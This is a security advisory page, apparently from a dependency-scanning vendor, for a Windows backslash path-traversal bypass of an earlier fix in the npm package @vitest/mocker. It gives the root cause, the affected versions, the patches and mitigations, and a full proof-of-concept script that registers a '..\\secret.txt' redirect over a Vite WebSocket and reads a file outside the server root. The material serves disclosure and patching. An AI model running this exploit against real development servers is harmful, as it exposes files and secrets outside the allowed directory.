Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fixGHSA-xp26-3454-mjgp

MEDIUMFix: vitest-dev/vitest@15cc006

GHSA-xp26-3454-mjgp is a medium-severity (CVSS 5.9) Path Traversal vulnerability in @vitest/mocker. A fix is available for @vitest/mocker — see the affected versions and patch details below.

Also known asCVE-2026-112950
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-xp26-3454-mjgp by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

19other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@vitest/mockernpm
76.0Mdownloads / week

Description

Summary

The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published @vitest/mocker packages in both fixed release lines:

The current main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 has the same behavior.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.

Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

  • 4.1.11
  • >=5.0.0-rc.2, <5.0.3

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

Root cause

packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration currently performs the equivalent of:

const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

The registered value later reaches:

readFile(mock.redirect, 'utf-8')

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

Preconditions and impact

A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.

Install dependencies for either affected line:

npm install @vitest/[email protected] [email protected] [email protected]
# or
npm install @vitest/[email protected] [email protected] [email protected]
node poc.mjs

poc.mjs:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observed with @vitest/[email protected]:

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

The same result was observed with @vitest/[email protected].

This includes two useful controls:

  1. traversal:../secret.txt is rejected and returns 404, confirming the published forward-slash fix is active.
  2. traversal:..\secret.txt returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npm@vitest/mocker≥ 4.1.11&&< 4.1.124.1.12npm install @vitest/mocker@4.1.12
📦npm@vitest/mocker≥ 5.0.0-rc.2&&< 5.0.35.0.3npm install @vitest/mocker@5.0.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @vitest/mocker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @vitest/mocker to 4.1.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xp26-3454-mjgp is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname. The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem seman
O3 Security · Impact-Aware SCA

Is GHSA-xp26-3454-mjgp in your dependencies?

Find it across npm, including transitive dependencies.

Vitest: Windows backslash traversal bypasses the…